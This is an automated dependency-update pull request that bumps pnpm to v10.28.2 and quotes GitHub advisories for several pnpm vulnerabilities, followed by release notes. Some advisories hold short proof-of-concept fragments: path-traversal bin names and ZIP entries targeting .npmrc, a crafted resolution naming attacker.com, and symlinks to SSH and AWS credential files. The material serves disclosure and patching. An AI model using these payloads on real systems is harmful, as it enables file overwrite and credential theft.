chore(deps): update pnpm to v10 [security]#51
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This PR contains the following updates:
8.3.0→10.28.28.7.0→10.28.2^8.6.12→^10.0.0pnpm no-script global cache poisoning via overrides /
ignore-scriptsevasionCVE-2024-53866 / GHSA-vm32-9rqf-rh3r
More information
Details
Summary
pnpm seems to mishandle overrides and global cache:
This can make workspace A (even running with
ignore-scripts=true) posion global cache and execute scripts in workspace BUsers generally expect
ignore-scriptsto be sufficient to prevent immediate code execution on install (e.g. when the tree is just repacked/bundled without executing it).Here, that expectation is broken
Details
See PoC.
In it, overrides from a single run of A get leaked into e.g.
~/Library/Caches/pnpm/metadata/registry.npmjs.org/rimraf.jsonand persistently affect all other projects using the cachePoC
Postinstall code used in PoC is benign and can be inspected in https://www.npmjs.com/package/ponyhooves?activeTab=code, it's just a
console.logOn mac:
rm -rf ~/Library/Caches/pnpm ~/Library/pnpm/storeThis step is not required in general, but we'll be using a popular package for PoC that's likely cached
A/package.json:{ "name": "A", "pnpm": { "overrides": { "rimraf>glob": "npm:ponyhooves@1" } }, "dependencies": { "rimraf": "6.0.1" } }pnpm i --ignore-scripts(the flag is not required, but the point of the demo is to show that it doesn't help)B/package.json:{ "name": "B", "dependencies": { "rimraf": "6.0.1" } }pnpm iResult:
Also, that code got leaked into another project and it's lockfile now!
Impact
Global state integrity is lost via operations that one would expect to be secure, enabling subsequently running arbitrary code execution on installs
As a work-around, use separate cache and store dirs in each workspace
Severity
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:HReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pnpm vulnerable to Command Injection via environment variable substitution
CVE-2025-69262 / GHSA-2phv-j68v-wwqx
More information
Details
Summary
A command injection vulnerability exists in pnpm when using environment variable substitution in
.npmrcconfiguration files withtokenHelpersettings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.Affected Components
@pnpm/config.env-replaceandloadTokenfunctionalitypnpm/network/auth-header/src/getAuthHeadersFromConfig.ts-loadToken()functionpnpm/config/config/src/readLocalConfig.ts-.npmrcenvironment variable substitutionTechnical Details
Vulnerability Chain
Environment Variable Substitution
.npmrcsupports${VAR}syntaxreadLocalConfig()loadToken Execution
spawnSync(helperPath, { shell: true })Attack Flow
Code Evidence
pnpm/config/config/src/readLocalConfig.ts:17-18pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71Proof of Concept
Prerequisites
PoC Steps
PoC Results
Impact
Severity
Affected Environments
High Risk:
Low Risk:
Attack Scenarios
Scenario 1: CI/CD Supply Chain
Scenario 2: Docker Build
Scenario 3: Kubernetes
Mitigation
Temporary Workarounds
Disable tokenHelper:
Use direct tokens:
//registry.npmjs.org/:_authToken=YOUR_TOKENAudit environment variables:
Recommended Fixes
shell: truefrom loadTokenDisclosure
References
@pnpm/config.env-replace@^3.0.2Credit
Reported by: Jiyong Yang
Contact: sy2n0@naver.com
Severity
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:HReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pnpm Has Lockfile Integrity Bypass that Allows Remote Dynamic Dependencies
CVE-2025-69263 / GHSA-7vhp-vf5g-r2fw
More information
Details
Summary
HTTP tarball dependencies (and git-hosted tarballs) are stored in the lockfile without integrity hashes. This allows the remote server to serve different content on each install, even when a lockfile is committed.
Details
When a package depends on an HTTP tarball URL, pnpm's tarball resolver returns only the URL without computing an integrity hash:
resolving/tarball-resolver/src/index.ts:The resulting lockfile entry has no integrity to verify:
Since there is no integrity hash, pnpm cannot detect when the server returns different content.
This affects:
"pkg": "https://example.com/pkg.tgz")"pkg": "github:user/repo")"pkg": "git+https://github.com/user/repo")npm registry packages are not affected as they include integrity hashes from the registry metadata.
PoC
See attached pnpm-bypass-integrity-poc.zip
The POC includes:
malicious-packagethat depends on the HTTP tarballvictimproject that depends onmalicious-packageTo run:
cd pnpm-bypass-integrity-poc ./run-poc.shThe output shows that each install (with
pnpm store prunebetween them) downloads different code despite having a committed lockfile.Impact
An attacker who publishes a package with an HTTP tarball dependency can serve different code to different users or CI/CD environments. This enables:
The attack requires the victim to install a package that has an HTTP/git tarball in its dependency tree. The victim's lockfile provides no protection.
Severity
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:HReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pnpm has symlink traversal in file:/git dependencies
CVE-2026-24056 / GHSA-m733-5w8f-5ggw
More information
Details
Summary
When pnpm installs a
file:(directory) orgit:dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g.,/etc/passwd,~/.ssh/id_rsa) causes pnpm to copy that file's contents intonode_modules, leaking local data.Preconditions: Only affects
file:andgit:dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.Details
The vulnerability exists in
store/cafs/src/addFilesFromDir.ts. The code usesfs.statSync()andreadFileSync()which follow symlinks by default:There is no check that
absolutePathresolves to a location inside the package directory.PoC
Impact
~/.aws/credentials,~/.npmrc,~/.ssh/id_rsaSuggested Fix
Use
lstatSyncto detect symlinks and reject those pointing outside the package root instore/cafs/src/addFilesFromDir.ts.Severity
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pnpm scoped bin name Path Traversal allows arbitrary file creation outside node_modules/.bin
CVE-2026-23890 / GHSA-xpqm-wm3m-f34h
More information
Details
Summary
A path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of
node_modules/.bin. Bin names starting with@bypass validation, and after scope normalization, path traversal sequences like../../remain intact.Details
The vulnerability exists in the bin name validation and normalization logic:
1. Validation Bypass (
pkg-manager/package-bins/src/index.ts)The filter allows any bin name starting with
@to pass through without validation:2. Incomplete Normalization (
pkg-manager/package-bins/src/index.ts)3. Exploitation (
pkg-manager/link-bins/src/index.ts:288)The normalized name is used directly in
path.join()without validation.PoC
{ "name": "malicious-pkg", "version": "1.0.0", "bin": { "@​scope/../../.npmrc": "./malicious.js" } }.npmrccreated in project root (outside node_modules/.bin).Impact
Verified on pnpm main @ commit 5a0ed1d45.
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pnpm has Windows-specific tarball Path Traversal
CVE-2026-23889 / GHSA-6x96-7vc8-cm3p
More information
Details
Summary
A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for
./but not.\. On Windows, backslashes are directory separators, enabling path traversal.This vulnerability is Windows-only.
Details
1. Incomplete Path Normalization (
store/cafs/src/parseTarball.ts:107-110)A path like
foo\..\..\.npmrcdoes NOT contain./and bypasses this check.2. Platform-Dependent Behavior (
fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)PoC
package/foo\..\..\.npmrcpnpm install.npmrcwritten outside package directoryImpact
.npmrc, build configs, or other filesVerified on pnpm main @ commit 5a0ed1d45.
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pnpm has Path Traversal via arbitrary file permission modification
CVE-2026-24131 / GHSA-v253-rj99-jwpq
More information
Details
Summary
When pnpm processes a package's
directories.binfield, it usespath.join()without validating the result stays within the package root. A malicious npm package can specify"directories": {"bin": "../../../../tmp"}to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.Note: Only affects Unix/Linux/macOS. Windows is not affected (
fixBingated byEXECUTABLE_SHEBANG_SUPPORTED).Details
Vulnerable code in
pkg-manager/package-bins/src/index.ts:15-21:The
binfield IS protected withisSubdir()at line 53, butdirectories.binlacks this check.PoC
Impact
Suggested Fix
Add
isSubdirvalidation fordirectories.binpaths inpkg-manager/package-bins/src/index.ts, matching the existing validation incommandsFromBin():Severity
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)
CVE-2026-23888 / GHSA-6pfh-p556-v868
More information
Details
Summary
A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing
../or absolute paths that escape the extraction root via AdmZip'sextractAllTo, and (2) TheBinaryResolution.prefixfield is concatenated into the extraction path without validation, allowing a crafted prefix like../../evilto redirect extracted files outsidetargetDir.Details
The vulnerability exists in the binary fetching and extraction logic:
1. Unvalidated ZIP Entry Extraction (
fetching/binary-fetcher/src/index.ts)AdmZip's
extractAllTodoes not validate entry paths for path traversal:A ZIP entry with path
../../../.npmrcwill be written outsidenodeDir.2. Unvalidated Prefix in BinaryResolution (
resolving/resolver-base/src/index.ts)The
basenamevariable comes fromBinaryResolution.prefixand is used directly in path construction:PoC
Attack Vector 1: ZIP Entry Path Traversal
Attack Vector 2: Prefix Traversal via malicious resolution:
{ "resolution": { "type": "binary", "url": "https://attacker.com/node.zip", "prefix": "../../PWNED" } }Impact
Verified on pnpm main @ commit
5a0ed1d45.Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:NReferences
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
pnpm/pnpm (pnpm)
v10.28.2: pnpm 10.28.2Compare Source
Patch Changes
Security fix: prevent path traversal in
directories.binfield.When pnpm installs a
file:orgit:dependency, it now validates that symlinks point within the package directory. Symlinks to paths outside the package root are skipped to prevent local data from being leaked intonode_modules.This fixes a security issue where a malicious package could create symlinks to sensitive files (e.g.,
/etc/passwd,~/.ssh/id_rsa) and have their contents copied when the package is installed.Note: This only affects
file:andgit:dependencies. Registry packages (npm) have symlinks stripped during publish and are not affected.Fixed optional dependencies to request full metadata from the registry to get the
libcfield, which is required for proper platform compatibility checks #9950.Platinum Sponsors
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v10.28.1: pnpm 10.28.1Compare Source
Patch Changes
Fixed installation of config dependencies from private registries.
Added support for object type in
configDependencieswhen the tarball URL returned from package metadata differs from the computed URL #10431.Fix path traversal vulnerability in binary fetcher ZIP extraction
ERR_PNPM_PATH_TRAVERSALerrorSupport plain
http://andhttps://URLs ending with.gitas git repository dependencies.Previously, URLs like
https://gitea.example.org/user/repo.git#commitwere not recognized as git repositories because they lacked thegit+prefix (e.g.,git+https://). This caused issues when installing dependencies from self-hosted git servers like Gitea or Forgejo that don't provide tarball downloads.Changes:
http://andhttps://URLs ending in.gitas git repositoriesisRepositorycheck from the tarball resolver since it's no longer needed with the new resolver orderFixes #10468
pnpm run -randpnpm run --filternow fail with a non-zero exit code when no packages have the specified script. Previously, this only failed when all packages were selected. Use--if-presentto suppress this error #6844.Fixed a path traversal vulnerability in tarball extraction on Windows. The path normalization was only checking for
./but not.\. Since backslashes are directory separators on Windows, malicious packages could use paths likefoo\..\..\.npmrcto write files outside the package directory.When running "pnpm exec" from a subdirectory of a project, don't change the current working directory to the root of the project #5759.
Fixed a path traversal vulnerability in pnpm's bin linking. Bin names starting with
@bypassed validation, and after scope normalization, path traversal sequences like../../remained intact.Revert Try to avoid making network calls with preferOffline #10334.
Fix
--save-peerto write valid semver ranges topeerDependenciesfor protocol-based installs (e.g.jsr:) by deriving from resolved versions when available and falling back to*if none is available #10417.Do not exclude the root workspace project, when it is explicitly selected via a filter #10465.
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v10.28.0: pnpm 10.28Compare Source
Minor Changes
beforePackingthat can be used to customize thepackage.jsoncontents at publish time #3816.pnpm install --filter ...) was slower than runningpnpm installwithout any filter arguments. This performance regression is now fixed. Filtered installs should be as fast or faster than a full install #10408.Patch Changes
requiredScriptssetting inpnpm-workspace.yaml#10261.Platinum Sponsors
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v10.27.0: pnpm 10.27Compare Source
Minor Changes
Adding
trustPolicyIgnoreAfterallows you to ignore trust policy checks for packages published more than a specified time ago#10352.Added project registry for global virtual store prune support.
Projects using the store are now registered via symlinks in
{storeDir}/v10/projects/. This enablespnpm store pruneto track which packages are still in use by active projects and safely remove unused packages from the global virtual store.Semi-breaking. Changed the location of unscoped packages in the virtual global store. They will now be stored under a directory named
@to maintain a uniform 4-level directory depth.Added mark-and-sweep garbage collection for global virtual store.
pnpm store prunenow removes unused packages from the global virtual store'slinks/directory. The algorithm:This includes support for workspace monorepos - all
node_modulesdirectories within a project (including those in workspace packages) are scanned.Patch Changes
tokenHelperor<url>:tokenHelpersetting contains an environment variable.dangerouslyAllowAllBuildssettings #10376.pnpm store pruneshould not fail if the dlx cache directory has files, not only directories #10384pnpm addwould incorrectly modify a catalog entry inpnpm-workspace.yamlto its exact version.Platinum Sponsors
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v10.26.2: pnpm 10.26.2Compare Source
Patch Changes
Improve error message when a package version exists but does not meet the
minimumReleaseAgeconstraint. The error now clearly states that the version exists and shows a human-readable time since release (e.g., "released 6 hours ago") #10307.Fix installation of Git dependencies using annotated tags #10335.
Previously, pnpm would store the annotated tag object's SHA in the lockfile instead of the actual commit SHA. This caused
ERR_PNPM_GIT_CHECKOUT_FAILEDerrors because the checked-out commit hash didn't match the stored tag object hash.Binaries of runtime engines (Node.js, Deno, Bun) are written to
node_modules/.binbefore lifecycle scripts (install, postinstall, prepare) are executed #10244.Try to avoid making network calls with preferOffline #10334.
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v10.26.1: pnpm 10.26.1Compare Source
Patch Changes
pnpm add, whenblockExoticSubdepsis set totrue#10324.HEADpoints to the commit after checkout #10310.Platinum Sponsors
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v10.26.0: pnpm 10.26Compare Source
Minor Changes
Semi-breaking. Block git-hosted dependencies from running prepare scripts unless explicitly allowed in
onlyBuiltDependencies#10288.Semi-breaking. Compute integrity hash for HTTP tarball dependencies when fetching, storing it in the lockfile to prevent servers from serving altered content on subsequent installs #10287.
Added a new setting
blockExoticSubdepsthat prevents the resolution of exotic protocols in transitive dependencies.When set to
true, direct dependencies (those listed in your rootpackage.json) may still use exotic sources, but all transitive dependencies must be resolved from a trusted source. Trusted sources include the configured registry, local file paths, workspace links, trusted GitHub repositories (node, bun, deno), and custom resolvers.This helps to secure the dependency supply chain. Packages from trusted sources are considered safer, as they are typically subject to more reliable verification and scanning for malware and vulnerabilities.
Exotic sources are dependency locations that bypass the usual trusted resolution process. These protocols are specifically targeted and blocked: Git repositories (
git+ssh://...) and direct URL links to tarballs (https://.../package.tgz).Related PR: #10265.
Added support for
allowBuilds, which is a new field that can be used instead ofonlyBuiltDependenciesandignoredBuiltDependencies. The newallowBuildsfield in yourpnpm-workspace.yamluses a map of package matchers to explicitly allow (true) or disallow (false) script execution. This allows for a single, easy-to-manage source of truth for your buildConfiguration
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